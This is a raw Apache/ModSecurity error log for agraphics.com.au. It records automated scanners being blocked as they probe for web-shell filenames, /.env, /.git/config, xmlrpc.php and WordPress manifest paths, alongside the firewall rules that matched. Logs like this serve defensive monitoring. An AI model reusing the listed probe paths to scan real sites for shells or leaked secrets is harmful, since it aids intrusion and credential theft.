[Sat Jan 10 04:51:04.945486 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:1775] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aWFqODBnnIoBkEBdx9D2bAAAAJI"]
[Sat Jan 10 04:51:05.190251 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:1729] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aWFqOTBnnIoBkEBdx9D2bQAAAI4"]
[Sat Jan 10 04:51:05.423770 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:2123] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aWFqOUA8oR5jvkFpcP9SzgAAAMI"]
[Sat Jan 10 04:51:05.658606 2026] [:error] [pid 20648:tid 20712] [client 65.52.163.14:1795] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aWFqOTBnnIoBkEBdx9D2bgAAAIM"]
[Sat Jan 10 04:51:05.892465 2026] [:error] [pid 20744:tid 20779] [client 65.52.163.14:1857] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aWFqOUA8oR5jvkFpcP9SzwAAANY"]
[Sat Jan 10 04:51:06.159842 2026] [proxy_fcgi:error] [pid 20744:tid 20760] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.280427 2026] [proxy_fcgi:error] [pid 20744:tid 20767] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.479715 2026] [proxy_fcgi:error] [pid 20744:tid 20777] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.599683 2026] [proxy_fcgi:error] [pid 20744:tid 20774] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.721257 2026] [proxy_fcgi:error] [pid 20744:tid 20776] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.841945 2026] [proxy_fcgi:error] [pid 20744:tid 20761] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:06.975161 2026] [proxy_fcgi:error] [pid 20744:tid 20772] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:07.094626 2026] [proxy_fcgi:error] [pid 20744:tid 20763] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:07.214652 2026] [proxy_fcgi:error] [pid 20744:tid 20781] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:07.336839 2026] [proxy_fcgi:error] [pid 20744:tid 20773] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:07.457914 2026] [proxy_fcgi:error] [pid 20744:tid 20762] [client 65.52.163.14:1850] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:51:08.718651 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:1850] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aWFqPEA8oR5jvkFpcP9S3AAAAM4"]
[Sat Jan 10 04:51:08.968653 2026] [:error] [pid 20647:tid 20695] [client 65.52.163.14:1691] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aWFqPKvb0x69MarUHzCXhgAAAE0"]
[Sat Jan 10 04:51:09.203230 2026] [:error] [pid 20646:tid 20671] [client 65.52.163.14:1761] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aWFqPSKwdq_UhOM64b6dmwAAABA"]
[Sat Jan 10 04:51:09.444651 2026] [:error] [pid 20647:tid 20687] [client 65.52.163.14:1735] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aWFqPavb0x69MarUHzCXiAAAAEU"]
[Sat Jan 10 04:51:09.694373 2026] [:error] [pid 20647:tid 20684] [client 65.52.163.14:2135] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aWFqPavb0x69MarUHzCXiQAAAEI"]
[Sat Jan 10 04:51:09.964362 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:2050] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aWFqPavb0x69MarUHzCXiwAAAFI"]
[Sat Jan 10 04:51:10.201026 2026] [:error] [pid 20648:tid 20715] [client 65.52.163.14:1809] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aWFqPjBnnIoBkEBdx9D2cQAAAIY"]
[Sat Jan 10 04:51:10.446415 2026] [:error] [pid 20744:tid 20778] [client 65.52.163.14:1796] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aWFqPkA8oR5jvkFpcP9S3gAAANU"]
[Sat Jan 10 04:51:10.684016 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:1665] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aWFqPkA8oR5jvkFpcP9S3wAAAMw"]
[Sat Jan 10 04:51:10.931792 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:1780] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aWFqPjBnnIoBkEBdx9D2cgAAAI8"]
[Sat Jan 10 04:51:11.166351 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:1764] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aWFqPzBnnIoBkEBdx9D2cwAAAJE"]
[Sat Jan 10 04:51:11.416378 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:1853] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aWFqPzBnnIoBkEBdx9D2dAAAAIA"]
[Sat Jan 10 04:51:11.681976 2026] [:error] [pid 20646:tid 20674] [client 65.52.163.14:1760] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWFqPyKwdq_UhOM64b6dnAAAABM"]
[Sat Jan 10 04:51:11.960433 2026] [:error] [pid 20647:tid 20702] [client 65.52.163.14:1909] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWFqP6vb0x69MarUHzCXjQAAAFQ"]
[Sat Jan 10 04:51:12.219986 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:1950] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWFqQKvb0x69MarUHzCXjgAAAEY"]
[Sat Jan 10 04:51:12.498133 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:1625] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aWFqQEA8oR5jvkFpcP9S4QAAANc"]
[Sat Jan 10 04:51:12.866651 2026] [:error] [pid 20646:tid 20657] [client 65.52.163.14:1831] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aWFqQCKwdq_UhOM64b6dngAAAAI"]
[Sat Jan 10 04:51:13.108822 2026] [:error] [pid 20646:tid 20670] [client 65.52.163.14:1758] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aWFqQSKwdq_UhOM64b6dnwAAAA8"]
[Sat Jan 10 04:51:13.342701 2026] [:error] [pid 20646:tid 20678] [client 65.52.163.14:1765] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aWFqQSKwdq_UhOM64b6doAAAABc"]
[Sat Jan 10 04:51:13.575764 2026] [:error] [pid 20646:tid 20675] [client 65.52.163.14:1698] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aWFqQSKwdq_UhOM64b6doQAAABQ"]
[Sat Jan 10 04:51:13.809463 2026] [:error] [pid 20646:tid 20660] [client 65.52.163.14:1615] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aWFqQSKwdq_UhOM64b6dogAAAAU"]
[Sat Jan 10 04:51:14.044116 2026] [:error] [pid 20646:tid 20676] [client 65.52.163.14:1680] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aWFqQiKwdq_UhOM64b6dowAAABU"]
[Sat Jan 10 04:51:14.288860 2026] [:error] [pid 20646:tid 20673] [client 65.52.163.14:1752] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aWFqQiKwdq_UhOM64b6dpAAAABI"]
[Sat Jan 10 04:51:14.580614 2026] [:error] [pid 20646:tid 20665] [client 65.52.163.14:1769] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aWFqQiKwdq_UhOM64b6dpgAAAAo"]
[Sat Jan 10 04:51:14.822107 2026] [:error] [pid 20646:tid 20659] [client 65.52.163.14:1779] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aWFqQiKwdq_UhOM64b6dpwAAAAQ"]
[Sat Jan 10 04:51:15.067404 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:1845] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aWFqQ6vb0x69MarUHzCXlAAAAEs"]
[Sat Jan 10 04:51:15.338732 2026] [:error] [pid 20647:tid 20697] [client 65.52.163.14:1716] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aWFqQ6vb0x69MarUHzCXlQAAAE8"]
[Sat Jan 10 04:51:15.624041 2026] [:error] [pid 20646:tid 20672] [client 65.52.163.14:1734] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aWFqQyKwdq_UhOM64b6dqAAAABE"]
[Sat Jan 10 04:51:15.931919 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:1722] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aWFqQ0A8oR5jvkFpcP9S4wAAAMs"]
[Sat Jan 10 04:51:16.209481 2026] [:error] [pid 20646:tid 20669] [client 65.52.163.14:1601] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aWFqRCKwdq_UhOM64b6dqQAAAA4"]
[Sat Jan 10 04:51:16.482586 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1750] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aWFqREA8oR5jvkFpcP9S5AAAAMA"]
[Sat Jan 10 04:51:16.747585 2026] [:error] [pid 20647:tid 20706] [client 65.52.163.14:1704] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aWFqRKvb0x69MarUHzCXmAAAAFg"]
[Sat Jan 10 07:08:17.392771 2026] [:error] [pid 31369:tid 31393] [client 216.81.248.151:39590] [client 216.81.248.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aWGKYbgqeMKgT1uTxuIAnwAAAVY"]
[Sat Jan 10 10:27:43.727829 2026] [:error] [pid 19926:tid 19931] [client 112.208.73.225:35574] [client 112.208.73.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.73.225, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWG5HyS03bq9jOoBYpNUdQAAAQM"]
[Sat Jan 10 10:27:43.738940 2026] [proxy_fcgi:error] [pid 19926:tid 19931] [client 112.208.73.225:35574] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 19:13:23.160363 2026] [autoindex:error] [pid 1296:tid 1306] [client 143.244.141.160:51976] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 21:05:44.893275 2026] [:error] [pid 1249:tid 1254] [client 91.92.241.199:53933] [client 91.92.241.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWJOqEtd4KGpcdnrDZWmdAAAAMI"]
[Sat Jan 10 23:03:10.365990 2026] [autoindex:error] [pid 1339:tid 1366] [client 138.197.13.155:61742] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Jan 11 01:58:00.268476 2026] [:error] [pid 57088:tid 57104] [client 129.212.226.110:54479] [client 129.212.226.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.212.226.110, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWKTKEGS_UStbgMYQWgrAgAAAg4"]
[Sun Jan 11 01:58:00.279986 2026] [proxy_fcgi:error] [pid 57088:tid 57104] [client 129.212.226.110:54479] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 01:58:02.241008 2026] [:error] [pid 57088:tid 57092] [client 129.212.226.110:54479] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWKTKkGS_UStbgMYQWgrDwAAAgI"]
[Sun Jan 11 01:58:02.592071 2026] [:error] [pid 31369:tid 31393] [client 129.212.226.110:61441] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWKTKrgqeMKgT1uTxuKelgAAAVY"]
[Sun Jan 11 01:58:02.932393 2026] [:error] [pid 1339:tid 1353] [client 129.212.226.110:50920] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWKTKicsOJx4B_mSFzlzZQAAA4s"]
[Sun Jan 11 01:58:03.272847 2026] [:error] [pid 31369:tid 31390] [client 129.212.226.110:51427] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWKTK7gqeMKgT1uTxuKemAAAAVM"]
[Sun Jan 11 01:58:03.613494 2026] [:error] [pid 20646:tid 20673] [client 129.212.226.110:53276] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWKTKyKwdq_UhOM64b5DjwAAABI"]
[Sun Jan 11 01:58:03.960249 2026] [:error] [pid 31369:tid 31377] [client 129.212.226.110:55220] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWKTK7gqeMKgT1uTxuKemQAAAUY"]
[Sun Jan 11 01:58:04.307868 2026] [:error] [pid 57649:tid 57670] [client 129.212.226.110:55459] [client 129.212.226.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWKTLFcvIwrych3kBnpMHAAAApM"]
[Sun Jan 11 06:58:06.753630 2026] [:error] [pid 11748:tid 11784] [client 35.77.102.47:58296] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/jquery.filer/index.html"] [unique_id "aWLZfgC5xybrWOCNnoaR3QAAAYY"]
[Sun Jan 11 06:58:07.153054 2026] [:error] [pid 11747:tid 11769] [client 35.77.102.47:58634] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/jquery.filer/index.html"] [unique_id "aWLZf6RFw84LNpZSk7mAgAAAAVI"]
